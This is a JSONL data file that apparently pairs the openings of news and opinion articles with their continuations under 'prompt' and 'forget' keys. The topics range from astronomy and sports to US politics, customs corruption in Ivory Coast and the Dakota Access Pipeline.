{"prompt": "Astronomers have known for decades that turbulent motion mixes and heats the interstellar medium (ISM), the dust and gases between the stars. But until now no one had been able to actually photograph this motion. An article published yesterday in Nature by a team of astronomers not only reveals this turbulent gas, but also that it moves at a low but supersonic velocity. The images were taken by a group of astronomers led by Bryan Gaensler, and used the Australia Telescope Compact Array. It was focused on a region in the southern galactic plane about 10,000 light-years away, in the", "forget": "constellation Norma. Turbulent, supersonic gas is characterized mainly by the Reynolds number (the ratio of momentum to viscous forces, which determines when a flow becomes turbulent) and the Mach number (the flow speed divided by the local speed of sound). These quantities have been difficult to measure in the past, since astronomers haven\u2019t been able to get an adequate picture of the gas, but they do know that structures formed by the turbulent motion range from 1,000 km to 100 parsecs (over 1015 km). Now, describing the ISM as \"gas\" is a bit of an overstatement, if you\u2019re picturing gas as in our atmosphere. The ISM is extremely low density, ranging from 10-4-106 molecules per cm3 depending on the temperature (for some perspective, the density of air at ocean level on Earth is about 1019 molecules per cm3). We can\u2019t see the ISM using visible light, so astronomers observe radio waves emitted from the Milky Way and altered by passing through this turbulent region. The gases are ionized, so their swirling, mixing turbulent motion forms electrical and magnetic fields (known as magnetohydrodynamic flow), which in turn affects the polarization of radio waves. These changes in polarization can be detected by radio telescopes (like the one the team used) and indirectly reveal the direction of flowing gases. The researchers used these measurements to make an image of the region (see above), which shows a complex field of tangled, twisting tendrils (say that three times fast) of gas. These structures are formed by turbulent vortices and intersecting shock waves. In order to figure out if the gas was moving at subsonic or supersonic speeds, they also performed three-dimensional computer simulations of the ISM, comparing subsonic (Mach number below one), transonic (Mach number around 1), and supersonic (Mach number well above one) models"}
{"prompt": "It takes three years to truly grade an NFL Draft, despite those immediate grades we all do the minute a player is picked and then again when the draft is complete. Those always come back to haunt draft graders like myself. Luckily, I can poke fun at myself when they do go bad and make their way around Twitter and other social-media avenues. I do a lot of pointing out my mistakes here as I regrade the 2014 NFL Draft. Looking back to three years ago is a fun exercise that I enjoy doing to see how teams hit and", "forget": "missed -- and how I did the same. When the Oakland Raiders used their first two picks to take pass rusher Khalil Mack in the first round and then Derek Carr in the second round in 2014, I gave that draft a B grade at the time. That's an A+ draft now. It's the draft that will keep the Raiders in the playoff race for a long time. They have their franchise passer, who I wasn't so sure about when he came out, thus my previous B grade. (P.S. I loved Mack.) See, I can point out when I am wrong. So dive into this 2014 NFL Draft regrade. I think you will find some interesting things, like how Mr. Never Get Anything Wrong Bill Belichick had a crappy draft. Or how teams you thought had great drafts -- like the Minnesota Vikings -- didn't really hit the way you thought, while the Washington Redskins did. Arizona Cardinals 2014 grade: B The skinny: They had seven picks, and two of those picks enter the 2017 season as starters. First-round pick Deone Bucannon was moved from safety to linebacker and has developed into a big part of their defense. Third-round receiver John Brown is a big-play threat when he can stay on the field. Injuries slowed him last season. They also have backups in second-round tight end Troy Niklas, third-round edge player Kareem Martin and fifth-round defensive end Ed Stinson. Niklas has potential, but injuries have limited him to seven starts in two seasons. How I did: I liked the pick of Bucannon, and questioned taking Niklas in the second. I thought fifth-round quarterback Logan Thomas could be a tight end and he busted out as a quarterback. So I did OK. New grade: B- Atlanta Falcons 2014 grade: B+ The"}
{"prompt": "The Obama-era Office for Civil Rights lowered standards for convicting college students of sexual assault. We need to protect all students' rights. Education Secretary Betsy DeVos on July 13, 2017. (Photo11: Alex Brandon, AP) In a series of meetings this month, Education Secretary Betsy DeVos signaled strong disagreement with the Obama administration\u2019s aggressive erosion of due process protections for college students accused of sexual assault. While deploring the horrors of the offense, DeVos added that \u201ca system without due process protections \u2026 serves no one.\u201d This was a welcome change from the decrees issued by the Obama-era Office for Civil", "forget": "Rights (OCR), which had told colleges to avoid any due process safeguards that would \u201crestrict or unnecessarily delay the protections provided by Title IX\u201d to accusers. Surveying the damage to fundamental fairness from the Obama-era policies, a recent study by UCLA professor John Villasenor concluded that an innocent student has as much as a one-in-three chance of being found guilty by today\u2019s campus sexual assault tribunals. The Obama policy proceeded from the counterfactual claim that sex crimes \u2014 which are no doubt a serious problem \u2014 were sweeping through the nation\u2019s campuses like an epidemic. (In fact the number declined dramatically between 1994 and 2010.) With vocal support from President Obama and Vice President Biden, OCR used this myth to reinterpret the Title IX, the statute barring sex discrimination at schools that receive federal funds. The Obama-era OCR ordered universities to use the lowest possible standard of proof (preponderance of evidence, or 50.01%) and allow accusers to appeal not-guilty findings. It also discouraged colleges from allowing cross-examination of accusing students, and urged institutions to deny accused students any right to a hearing by giving all power to a single bureaucrat to act as investigator, prosecutor, judge and jury. During DeVos\u2019 meetings, the accusers\u2019 rights organization Know Your IX organized a protest outside the Department of Education, demanding a blanket retention of Obama\u2019s policies. The group was joined by the leading congressional foe of campus due process, Sen. Kirsten Gillibrand, D-N.Y. She maintained that \u201cif Secretary DeVos rolls back these protections\u201d \u2014 each of which had placed a thumb on the scale to increase, sometimes dramatically, the chance of a guilty finding \u2014 \u201cjustice will not be possible.\u201d This from a senator who had publicly described former Columbia student Paul Nungesser as a \u201crapist\u201d even after he was cleared by both"}
{"prompt": "Celestin wanted to celebrate his wife\u2019s birthday. Using the internet he purchased a few cosmetic products from China for a value of $36. His Chinese counterpart explained to him that the package would be delivered by DHL in about 10 days with an extra cost of about $100. Author J Jacques Morisset Lead Economist and Program Leader for Cote d\u2019Ivoire, World Bank Ten days later he was contacted by the DHL office in Abidjan, the capital of Ivory Coast, informing him that his package had arrived but would be going through customs inspection. The next day came the bad news", "forget": "(see the below copy of the official receipt). The customs duties and charges amounted to $360 or 10 times the original value of his package. The explanation was as follows: First, the value of his package was reevaluated arbitrarily by the inspector from $36 to $360, without any explanation. Second, the value-added tax (VAT), the custom duty, and the statistical tax amounted to $248.97 or seven times the original value. Third, the forward freight agent was charging him several fees for $75.94 or more than twice the original value. Figure 1: Receipt showing corruption in Ivory Coast What an expensive gift for his wife! Celestin wanted to complain, but he learned that it would take anywhere from several days to weeks to go through the legal process at the customs office with little chance of success. Moreover, DHL was going to charge him an extra $17 for each additional day of storage. Discouraged, Celestin decided to pay his customs duties. The story of Celestin is one faced by many importers in Ivory Coast and unfortunately in most West African countries. This is not a story typically found in an economic textbook or in reports produced by the World Bank or the International Monetary Fund where customs duties are simply the addition of common external tariffs (ranging from 0 percent to 20 percent) and VAT (the rate is 18 percent in Ivory Coast). This is, however, the reality in Ivory Coast where a trader has to pay 10 times the original cost of his merchandise, excluding transport costs. These fees have two huge negative implications for the country. The most obvious is that imports become much more expensive, including many basic necessities, which consequently raises the cost of living. Such policies also act as a barrier to entry, protecting local industries"}
{"prompt": "Mitt Romney\u2019s advantage among male voters has all but disappeared since the Democratic National Convention. The pattern will likely spell doom for Romney unless it represents an entirely transient \u201cbump\u201d for President Obama \u2014 which it might. ADVERTISEMENT Several polls released in recent days show Obama displaying new strength among male voters. Romney needs to win the male electorate by a wide margin to overcome the chronic disadvantage the GOP faces with respect to women. A CNN poll released Monday showed Obama moving into a small lead among men, besting Romney 48 percent to 47. The finding was especially notable", "forget": "because CNN, in a poll conducted about a week prior, had shown Romney holding a 12-point lead among men (55 percent to 43). On Tuesday, an ABC News/Washington Post poll found Obama enjoying a 3-point edge among men. In a memo accompanying the poll\u2019s release, its authors, Langer Research Associates, noted that \u201cObama\u2019s support has reached a new high among men\u201d \u2014 higher than at any point during this election cycle. In addition, a new poll from the Democratic-leaning Public Policy Polling organization found that Obama has a 1-point lead among men, taking 47 percent to Romney\u2019s 46. Democrats are delighted with those numbers. \u201cIf that holds, there\u2019s no way Romney can win,\u201d said Bob Shrum, the longtime Democratic strategist who ran Sen. John Kerry John Forbes KerryOvernight Defense: White House eyes budget maneuver to boost defense spending | Trump heads to Hanoi for second summit with Kim | Former national security officials rebuke Trump on emergency declaration 58 ex-national security officials rebuke Trump over emergency declaration Ex-national security officials to issue statement slamming Trump's emergency declaration: WaPo MORE\u2019s (D-Mass.) 2004 bid for the White House. The Romney campaign has been pushing back hard against the polls in recent days. On Monday, it circulated a memo from its in-house pollster, Neil Newhouse, asserting that no one should \u201cget too worked up about the latest polling\u201d and characterizing the boost Obama is enjoying as a \u201csugar-high.\u201d On Tuesday, a Romney campaign aide told The Hill that the shift in male voting intentions was part of the same pattern. \u201cHe got a temporary boost that shouldn\u2019t last long,\u201d the aide argued. Still, even Republicans who think that those predictions will ultimately prove true admit their worries about the current state of play. \u201cIt\u2019s definitely a concern,\u201d said Dan Judy, a vice president"}
{"prompt": "Austrian town: The name is thought to derive from a sixth century noble called Lord Focko An Austrian political party has defended a decision to promote a local beer called F***ing Hell - named after a village in the country and the German word for 'lite'. The extraordinary brand name was initially banned when the product was released in 2010 but the company took the fight all the way to the EU's trademark authority who eventually overturned the decision. And the beer was recently promoted on the website of the far-right Freedom Party of Austria, for the district of Schaerding", "forget": "- which neighbours F***ing. Both districts are found in the northern Austrian province of Upper Austria and the Freedom Party say the promotion was a way of showing solidarity with their neighbours. The advert on the homepage leads to a website where it is possible to buy the alcohol on order from the neighbouring village of 'F***ing'. In 2010 the Trade Marks and Designs Registration Office of the European Union ruled that although it might be an obscene swearword in the English language, in German it was simply the name of the village - and a light 'hell' type of beer. They said in a statement that it had rejected a complaint that the trade mark 'F***ing Hell' was upsetting, accusatory and derogatory. They added: 'The word combination claimed contains no semantic indication that could refer to a certain person or group of persons. 'Nor does it incite a particular act. It cannot even be understood as an instruction that the reader should go to hell.' Battle: The extraordinary brand name was initially banned when the product was released in 2010 but the company took the fight all the way to the EU's trademark authority who eventually overturned the decision Endorsement: An advert for the beer appeared on the website of the far-right Freedom Party of Austria German marketing executives Stefan Fellenberg, 38, and Florian Krause, 32, who own the rights to the brand name, said they had referred to the town of F***ing in their application to register it. THE VILLAGE OF F***ING Location: Upper Austria Population: 104 Origin: Founded in the 6th century by nobleman called Lord Focko The recent publicity earned by the Freedom Party is likely to boost the controversial beer brand's sales - bringing money to a town that often falls victim to trophy-hunters. Franz"}
{"prompt": "One family says the ratings-grabbing reality show \"Extreme Makeover: Home Edition\" turned their personal tragedy into a practical nightmare, leaving them with virtually nothing but a lawsuit. The Higgins family, five kids between the ages of 14 to 21-years-old, lived in a two-bedroom apartment in California, orphaned by the deaths of their parents. Their story grabbed headlines. Producers at the reality show took notice. The family's church first raised money to help them out. Then, \u201cExtreme Makeover\" contacted the church to arrange an interview with the young adults. Maybe they could be the next \u201cdeserving family.\u201d Fellow church members, the", "forget": "Leomiti family, offered to take the Higgins family into their home. The lawsuit claims the family's motivation wasn't to save the kids from a life of despair. It was to get a newly built nine-bedroom house, mortgage paid, a weeklong vacation and other gifts like computers, stereos and cars. According to the suit against the Leomitis, ABC and the producers of \u201cExtreme Makeover,\u201d around the time the episode aired, the Higgins' moved out one-by-one as a result of a \u201corchestrated campaign\u201d by the Leomiti family to get rid of them. Mrs. Leomiti called the lawsuit \u201cbogus\u201d in an interview with the Abrams Report over the phone. Charles Higgins, the oldest of the five Higgins children, and the Higgins' family attorney, Patrick Mesisca, explain their case to \"The Abrams Report\" DAN ABRAMS, 'ABRAMS REPORT\u2019 HOST: Charles, first let me start with you. Tell me first of all what happened here. CHARLES HIGGINS, SUING 'EXTREME MAKEOVER': What happened was we were supposed to be promised a house that was to be built for everybody. My brothers and sisters were supposed to have a place to stay and now we\u2018re practically homeless. We\u2018re not together \u2014we\u2018re not living together in one home. We\u2018re living in separate homes with each of our friends and it really hurts because I\u2018m 22. I\u2018m trying to pull an extra load. I\u2018ve got a lot on my shoulders here. I\u2018m trying to be a good role model but it's hard when you don't really have a place to stay or a place for your younger brothers and siblings to call home, so they can wake up in the morning and they don\u2018t have to worry about where they are going to live or what they're going to do. It really hurts, it hurts me to see the look"}
{"prompt": "By Christine Duhaime | January 2nd, 2017 The questions and answers I\u2019ve been asked the most in 2016 about China: Q: How much money has been removed from China in proceeds of corruption? A: According to the Bank of China, way over US$120 Billion or CAD$160 Billion between the years 1995-2008. China appears to have quit sharing data officially after 2011 because it said at that time that the outflows of proceeds of corruption was severe enough to threaten its economy and its political stability. However, a Chinese Commission later said this: The amount more than doubled in 2010 to", "forget": "US$412 Billion (CAD$553 Billion); In 2011, it was at US$600 Billion (CAD$806 Billion); In 2012, it was at US$1 Trillion (CAD$1.3 Trillion); and By 2013, it was at US$1.5 Trillion (CAD$2 Trillion). China also has something called \u201cgrey\u201d income, which means income earned (or acquired off the books \u2013 basically handed to someone in the proverbial suitcases) in China that is not reported on income tax reports, and that is held by its richest families. By 2012, the grey income was CAD$1.3 Trillion according to the China Society of Economic Reform. Some of the grey income inevitably ends up in other countries. Money Laundering So, over $2,000,000,000,000 is missing from China and because China says it\u2019s proceeds of corruption, it\u2019s a $2,000,000,000,000 money laundering problem. Bigger than the economies of most countries If you want a sense of how come China said in 2011 that the illegal removal of $2 Trillion from corruption payments threatens its economy, note that, according to Wikipedia, there are only a few countries in the world that have an economy of $2 Trillion or more and they are: US, Japan, Germany, UK, France, China, Italy, Brazil and Russia. Another way of looking at it is that the proceeds of corruption that flew out of China and landed in the US, Canada, Australia and the Netherlands is more than the entire economies of each of over 100 countries including the economy of Spain, Mexico, South Korea, Australia, Turkey or Switzerland. Q: How many Chinese foreign nationals are involved in moving proceeds of corruption out of China? A: According to the Bank of China, about 16,000 to 18,000 officials with ties to the public sector were involved in moving proceeds of corruption illegally from China to other countries. Q: What are the 4 top countries where Chinese"}
{"prompt": "A lot of people want a Squirrel Girl movie and they are wrong! WRONG! In my learned, expert opinion, Squirrel Girl wouldn't work as a leading character in a movie - she's best when her unique qualities are being contrasted with others around her, especially more traditional superheroes. Also a movie would necessitate some sort of a big threat, which is not when I think Squirrel Girl is at her best, especially since the character's joke premise is largely that she's literally undefeatable. Seriously, she took out Thanos. But put Squirrel Girl on a team? And put that team on", "forget": "TV show where the emphasis is on character interactions? And make that show a comedy? You've already sold me. Now Marvel has to sell a network; they're shopping around a new show called New Warriors, and it stars Squirrel Girl. TV Line, who broke the news, says that it's a half hour comedy. Perfect! TV Line also says that the show is about a 'junior version of The Avengers,' which doesn't quite sound right to me - there is a team called Young Avengers, after all. But maybe TV can't use the Avengers name at all, and so they have to take the Young Avengers and call them The New Warriors? It's hard to say, as TV Line doesn't have the names of the other teenage heroes on the team, and Squirrel Girl was never on either team. I love both the Young Avengers and The New Warriors, but I really love The New Warriors. I was always a fan of their original leader, Night Thrasher, a rich kid who saw his parents killed before his eyes and went on to become a skateboarding vigilante. Oh, and he just happened to be black, and the idea of a black skateboarding superhero feels pretty current in the world of Odd Future. At one point The New Warriors were on their own reality show (that ended in tragedy when member Speedball blew up a school and killed 600 people. Leave that out of the comedy show), and that would be a pretty good premise for a half hour comedy. Sort of The Office with superheroes. If it's actually Young Avengers? That book was way more soap operatic than The New Warriors, which never really had a true cohesive focus past the first volume. I would do Young Avengers in the style of"}
{"prompt": "It's true that Sen. Bernie Sanders (I-Vt.) has called himself a \"democratic socialist\" (3:10 in the video); however, he's clearly stated, \"No, I do not believe government should control everything.\" While his attempts at breaking up the banks will be attacked as socialism from Republicans and even Hillary Clinton supporters, Sanders is closer to President Theodore Roosevelt than the fabricated meaning socialism has become in our political climate. When Republicans call Sanders a socialist, what they really mean is a man courageous enough to act like Presidents Roosevelt and Taft. ADVERTISEMENT When Republicans call Sanders a socialist, they\u2019re ignoring then-Gov.", "forget": "Jan Brewer's (R) expansion of Medicaid in Arizona, President George W. Bush's $400 billion Medicare bill and Sen. Ted Cruz (R-Texas) enrolling in ObamaCare. The word \"socialist\" is both a political insult and a way of life for conservatives throughout the United States. According to Pew Research, 52 percent of Republicans \"say they have benefited from a major entitlement program at some point in their lives\" and 85 percent of Republicans believe that Medicare \"has been very good/good for the country.\" CBS News finds that 89 percent of Tea Party advocates disagree with President Obama's expansion of government, but 62 percent of the Tea Party believes that \"Social Security and Medicare are worth the costs to taxpayers.\" In terms of poverty, Forbes writes that Louisiana, Arkansas, West Virginia and Mississippi (staunchly conservative states that went for GOP nominee MittRomney in 2012) are the poorest states in the nation with \"the highest percentages of households earning less than $24,999 annually.\" As a result, Louisiana, Tennessee, West Virginia and Mississippi have the highest number of food stamp recipients in the nation. In terms of the poorest region of the U.S., The Wall Street Journal states that one recent study \"points to the South \u2014 where a majority (59%) of counties now struggle with both high poverty and inequality.\" Although the GOP consistently works to cut government assistance programs, most Southern states have voted for a Republican presidential candidate consistently since 1972. Any expansion of government assistance programs is derided as \"socialism\" by Republicans, yet many conservatives fail to see the irony in a sign that reads, \"Keep your government hands off my Medicare!\" With Sanders against the Trans-Pacific Partnership and has made an issue of America's shrinking manufacturing sector, President Reagan's policies mirrored the concerns of Vermont's junior senator. When the auto"}
{"prompt": "Colorado Gov. John Hickenlooper (D) has hired a Washington lobbying firm that represents insurers and other health care industry companies and groups opposed to single-payer health care to lobby in favor of his insurer-friendly alternative to Bernie Sanders\u2019 \u201cMedicare for All\u201d proposal. The firm was hired by Hickenlooper's government office and is slated to receive a total of $210,000 in taxpayer funds from the Democratic governor\u2019s office budget to lobby on health care after it helped bankroll his election campaign, a spokesperson for Hickenlooper's office confirmed Wednesday. According to federal records reviewed by International Business Times, the Colorado governor's office", "forget": "in February hired Brownstein Hyatt Farber Schreck \u2014 a lobbying powerhouse whose lobbyist Doug Friednash became the governor\u2019s chief of staff in 2015 \u2014 for $17,500 monthly from February 2017 to the same month of 2018. Friednash, according to the spokesperson for Hickenlooper, helped select Brownstein Hyatt from a pool of bidding lobbying firms, as did Lt. Gov. Donna Lynne, a former Kaiser Permanente executive who launched her gubernatorial campaign early in September, former Department of Regulatory Agencies Executive Director Joe Neguse, who kicked off his congressional bid in June, and Hickenlooper himself. Lynne and Friednash served as \u201cthe primary points of contact\u201d for Brownstein Hyatt at the governor's office, according to the firm's lobbying contract, which was obtained by IBT. The firm\u2019s work for the governor has involved lobbying Congress, the Interior Department, the Justice Department and the Environmental Protection Agency on \u201cissues related to federal spending and national service programs.\u201d Brownstein Hyatt has also lobbied federal lawmakers on health care on behalf of Hickenlooper, and the governor's spokesperson, Jacques Montgomery, confirmed that the firm has been advocating for Hickenlooper's proposed alternative to Obamacare and single-payer health care measures. In recent weeks, Hickenlooper\u2019s administration has approved a 27 percent insurance premium increase for Colorado\u2019s Affordable Care Act (ACA) exchanges for next year. At the same time, he has been working with Ohio Republican Gov. John Kasich on a plan to stabilize the ACA by offering more public money to the private insurance industry. The initiative proposes preserving taxpayer subsidies to insurers and passing a Republican-sponsored measure to create an additional $15 billion fund to further subsidize private insurers when they cover sicker people. Hickenlooper said the health care initiatives he is working on will not involve proposals for a single-payer health care system \u2014 the kind adopted in many"}
{"prompt": "Two European fintech startups are teaming up to give a glimpse of what the bank of tomorrow could look like. Number26, a Peter Thiel-backed German startup that\u2019s setting out to create the bank account of the future, has announced a tie-up with London-based peer-to\u2013peer money-transfer firm TransferWise. The partnership will give Number26 customers in-app access to a cheap international money-transfer service. To recap, Number26 was founded out of Berlin in early 2013 as a \u201cmobile-first\u201d bank account, not too dissimilar from BankMobile or Simple in the U.S. Originally only available in Germany and Austria, the service has since expanded across", "forget": "the E.U. into Ireland, Spain, France, Greece, Slovakia, and Italy. In an interview with VentureBeat at Dublin Web Summit last year, Number26 cofounder Maximilian Tayenthal hinted at the company\u2019s future plans. Indeed, Tayenthal noted the myriad nimble fintech startups that were chipping away at various elements of the traditional bank, including bank accounts and FOREX, and observed that they could band together to \u201crebundle\u201d an age-old entity that had been systematically \u201cunbundled\u201d with the advent of the Internet. We\u2019re seeing the first fruits of this vision today. The new service is available to all Number26 customers from today, and transfers will initially be permitted from euros into eight currencies: U.K. pounds, U.S. dollars, Swedish krona, Indian rupees, Australian dollars, Hungarian forints, Swiss francs, and Polish zloty. We\u2019re told that additional currencies will be added \u201csoon.\u201d \u201cOur goal is to leverage the best banking products from around the world and make them accessible to customers with one tap, creating a fintech hub inside the Number26 app,\u201d explained cofounder and CEO Valentin Stalf. \u201cAnd by adding one of the world\u2019s best fintechs in TransferWise as our flagship partner, we can drive banking innovation much faster than traditional banks.\u201d TransferWise has emerged as a key player in the fintech startup realm with a smart international money transfer service that bypasses the banks to keep costs down. Similar to Number26, TransferWise also counts PayPal-cofounder Peter Thiel as an investor, alongside other big-name backers such as Richard Branson. \u201cWe want to make it as easy and fair as possible for people who need to send money abroad, so we\u2019re very excited that Number26 customers can now access the TransferWise experience without leaving their banking app,\u201d said TransferWise CEO and cofounder Taavet Hinrikus. \u201cThis is a great step towards consumers having a wider choice of financial"}
{"prompt": "What can we learn from the 12 teams who ascended to the College Football Playoff in its first three seasons? From a scheduling standpoint, each of the dozen reached the end of the regular season with a 12-game resume to present to the Playoff committee. In each case it was enough to earn them a coveted place in the bracket. It illustrates, absolutely, how important the schedule is in today\u2019s college football climate. Teams can finish the season with the same record, but the one who has the best perceived set of opponents will ultimately be given the opportunity to", "forget": "play for a national championship. With 12 teams in three years, we now have enough data to begin to forecast what a Playoff-worthy schedule looks like. Any common threads among the 12 teams sends a clear message, \u201cThis is what the committee is looking for.\u201d These are the unofficial guidelines to \u201cscheduling your way to a CFB Playoff berth.\u201d I. You MUST schedule a Power school out of conference play. 100% of the 12 teams who earned slots in the first three CFB Playoff brackets played a Power team in non-conference play. It is one of only two absolutes among the dozen Playoff-worthy slates. II. Schedule your bye week for Week 6 or later. Of the 12 previous Playoff schools, nine (or 75%) had at least one bye week that fell during or after Week 6 of the season. The only exceptions were Ohio State in 2016 (the Buckeyes had Week 4 off), Clemson in 2015 (also Week 4), and Oklahoma in 2015 (Week 3). III. Schedule no more than two road games in a row. The other absolute in scheduling for a Playoff, 100% of the teams sampled played a maximum of two consecutive road games during the regular season. Of these, five (or 42%) didn\u2019t play any back-to-back road games during their Playoff campaign (2016 Clemson, 2015 Alabama and Oklahoma, 2014 Florida State and Oregon.) IV. Schedule at least three consecutive home games. The flip side of the third commandment, eight (or 67%) of the 12 Playoff teams scheduled at least one home stand lasting three weeks or more. In 2015, Michigan State enjoyed a stretch of four home games from Sept. 12 (Oregon) to Oct. 3 (Purdue) \u2013 making the Spartans the Playoff team with the longest homestretch in history. V. There is no need to double-up"}
{"prompt": "Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email A boy of two has become the youngest person in the world to have weight loss surgery. The family of the obese toddler begged for help after his weight soared to five stone and he began suffering sleep apnoea which caused him to stop breathing while asleep. Doctors who carried out a \u00adlaparoscopic sleeve gastrectomy to shrink his stomach to the size of a banana said two bids to", "forget": "slim him down through diet had failed. The \u201cgastric sleeve\u201d LSG op is only performed when a gastric band or a gastric bypass would be unsafe. Obesity expert Professor Paul Zimmett, of the Baker IDI Heart and Diabetes Institute, branded the case \u201cshocking\u201d and \u201cvery unusual\u201d. He added: \u201cIt is going into unknown territory. We have no idea what effect this may have on the child\u2019s growth. \u201cUnless he has proper follow up he may suffer vitamin deficiencies.\u201d The boy weighed 3st 3lb when he was first seen by a hormone specialist. But four months after his family were ordered to put him on a strict diet his weight had increased by 1st 2lb. Medics could not verify whether his parents had enforced the diet. By the time he was referred to an obesity clinic he was officially \u201cmorbidly obese\u201d and had begun to suffer sleep apnoea and problems with his legs. A second attempt at dieting also failed and when he reached 5st 2lb doctors decided to operate on him at Prince Sultan Military Medical City, in Riyadh, Saudia Arabia. The boy was of a normal weight until he reached six months old. But as he became heavier, his parents sought the advice of doctors. He had no family history of morbid obesity or genetic abnormalities and a CT scan of his brain showed no other possible causes of obesity. Surgeons decided to perform the LSG, which involved removing the outer layer of his stomach to make it a quarter of its previous size. In the UK, only obese girls aged at least 13 and boys aged 15 would be considered for the surgery. The boy lost about 15% of his body weight and was a \u201cnormal\u201d 3st 7lb two years after the 2010 surgery. The surgeons wrote in"}
{"prompt": "If you\u2019re among those who have shied away from eggs despite their taste, value, and nutrition, for fear of dietary cholesterol , you must know that eggs are the handiest foods to have in your fridge. Jumpstart your day: Hit the gym? Don\u2019t skip the yolk: Looking to please picky eaters? Store it right Let\u2019s get EGG-Ceptional! Japanese Egg & Garlic Fried Rice Ingredients: Method: South Indian egg curry Ingredients: Method: Egg & celery salad Ingredients: Method: Sweet cours Caramel custard Ingredients: Method: Get egg-ed! Gobble them without regret! Egg Play Allergic to eggs? Quick Tip \u201cYour kids come home", "forget": "hungry? Make them an egg sandwich in less than five minutes or poach an egg and top it with stir fried vegetables - a perfect protein snack with all the essential vitamins and minerals of the veggies,\u201d says chef Sanjeev Kapoor. \u201cGuests have dropped in without a prior intimation? You can go in for easy-to-cook dishes like egg curry or egg biryani. It surely won\u2019t make them wait for long,\u201d he adds.Eggs are universally popular for an umpteen number of reasons. \u201cThey are valued the most for their nutritional content,\u201d says chef Suresh Thampy. Available readily, eggs suit every household budget. And yes, they are easy to cook, so much so that egg preparations are a favorite among bachelors and young working couples. Your day can begin and end with an egg. It\u2019s so very versatile! Be it a traditional breakfast, a mid-day salad, a soup for supper or even a dessert to pamper your sweet tooth. Even though eggs are of animal origin, there is an appreciable number of eggetarians among vegetarians.A study published in the journal of American College of Nutrition states that people who eat eggs for breakfast feel more satisfied and ate fewer calories at the following meal, thus helping over-weight dieters to lose more weight.Now crack the egg: High-quality egg proteins provide the building blocks your body needs to grow and perform properly. The amount and quality of protein you eat directly affects your muscle mass, strength and function. Eat eggs after exercise to encourage muscle tissue repair and growth.When eating eggs, don\u2019t skip the yolk. One egg provides six grams of all natural high quality protein. While many think that egg white has all the protein, the yolk actually provides half of it.Eggs are a great choice for everyone as they can be cooked"}
{"prompt": "[What Steve King's 'subgroups' musing says about the party of Donald Trump] The Post's Philip Rucker interviews Rep. Steve King (R-Iowa) at the Republican National Convention in Cleveland on Wednesday, July 20. (The Washington Post) Rep. Steve King (R-Iowa) on Wednesday defended his controversial comment this week that some cultures contribute more to civilization than others. \"The idea of multiculturalism, that every culture is equal \u2014 that's not objectively true,\" King told The Washington Post's Philip Rucker, less than 48 hours after he asked on live TV what \"subgroups\" besides white people had made any contributions to civilization. \"We've been", "forget": "fed that information for the past 25 years, and we're not going to become a greater nation if we continue to do that.\" Here's what he told Rucker: \"Western civilization is the most successful civilization the world has ever seen. And some of the reasons for that is it's borrowed from other cultures along the way, back to Mosaic law, the Greek age of reason, Roman law and the Roman order of government, and the Republican form of government, by the way that we're guaranteed in our constitution. The foundation of our ideological thought is rooted in the enlightenment of Europe and then this country was born at the dawn of the industrial revolution. ... The sum total that's been contributed by Western civilization, it surpasses any other culture of civilization, party because we borrowed from them along the way, and we're flexible enough to do that. And so I don't think we should apologize for our success.\" Of course, as my eagle-eyed colleague Philip Bump \u2014 who caught King's comment Monday on MSNBC \u2014 pointed out, our society is shaped by numerous nonwhite societies, past and present: Civilization first arose in cities in Mesopotamia, in what is now Iraq and Syria. Arabic and Middle Eastern inventors and scientists brought astronomy to the world, which in turn aided innovations in navigation. Critical innovations in mathematics and architecture and medicine originated in the same area. The Chinese contributed philosophical precepts and early monetary systems, among other things. The specific inventions that were created outside of the Western world are too many to list: the seismograph, the umbrella, gunpowder, stirrups, the compass. Oh, and, of course, the non-Western world gave us the numeric system that will be used to tally up the delegates to make Trump the nominee of King's party. That"}
{"prompt": "It has been one year since three Al Jazeera journalists were arrested in Egypt in a case that has sparked international outrage. Baher Mohamed, Mohamed Fahmy and Peter Greste were arrested in Cairo on Dec. 29, 2013, under false charges of aiding the outlawed Muslim Brotherhood and spreading false news. In June, Greste, an Australian, and Fahmy, an Egyptian-Canadian, received seven-year prison terms, and Mohamed, an Egyptian, was sentenced to 10 years. Mohamed's wife, Jehan Rashed, told Al Jazeera that the day her husband was arrested had been the worst of her life. \"The sentiment of injustice is overwhelming,\" she", "forget": "said. \"Baher was arrested on this day a year ago. It was the worst day Baher, our children and I have ever lived. \"It was a dark day. I wonder if the [Egyptian] army and police are protecting the people. They came to arrest a journalist, while realizing deep within he is a respectable professional, but they acted as if he was a felon,\" she said. On Thursday an appeal for the three journalists will be heard at Egypt\u2019s Court of Cassation. The court will look at the process behind the original trial, which Al Jazeera has always maintained was flawed. The court can dismiss the cases, uphold the verdicts and sentences or order a new trial. President Abdel Fattah el-Sisi may issue a presidential pardon, but he maintains that he will not interfere in the judicial process. The Egyptian government has defended the incarceration of the journalists, arguing that it was not a political decision and that it is now up to the appeals process to determine what should happen next. Despite Sisi's stated reluctance to interfere with the judicial process, statements he made in recent months signaled a possible softening of that stance. In July local media reported that Sisi said he wished that the journalists had been deported rather than jailed, in the first signal that he disagreed with sentences handed down the previous month. In a November interview with France 24, Sisi said that when the three were arrested, he \"did not have the power to make decisions about their situation. If I had been president at that time, I would have decided, for the good and security of Egypt, that the journalists would have to be expelled, to put an end to this issue once and for all.\" He also told France 24 that the"}
{"prompt": "On his fourth full day in office, President Trump signed an executive order that was supposed to settle this whole Dakota Access Pipeline thing\u2014no more delays due to protests, no more reconsidering the route because of environmental worries. And for a while, it seemed to work. The protest camps are gone, and the pipe has been pumping oil since March. But Thursday, a federal judge ordered a do-over on the rush-job environmental review Trump ordered back in January. Trump came into office aiming for a blitzkrieg on environmental regulations. He got trench warfare. That's because firing from the other side", "forget": "of no man's land is a nimble alliance of environmental groups that have spent decades preparing for the likes of him. You have probably heard of many of them: the Sierra Club, National Resources Defense Council, EarthJustice, and so on. Others are smaller, focused on regional issues\u2014like the Standing Rock Sioux that just won a small victory against the Dakota Access Pipeline. What they all have in common are stubborn, attrition-minded legal teams. Trump's assault is just a more bombastic version of what these lawyers have weathered under past administrations. And if there's any green left in the government by 2020, they'll be the ones responsible. President Trump is famous for, among other things, his love of infrastructure and hatred of regulations. His January 24 executive order didn't actually target the Dakota Access Pipeline specifically. It was a sweeping declaration, meant to fast track every new, large, high priority infrastructure project through environmental review. \"The White House's strategy is to deconstruct the administrative state and give favors to the fossil fuel industry,\" says Pat Gallagher, director of the Sierra Club's environmental law program. So these environmental NGOs are changing tack to adapt. \"This is not an abrupt 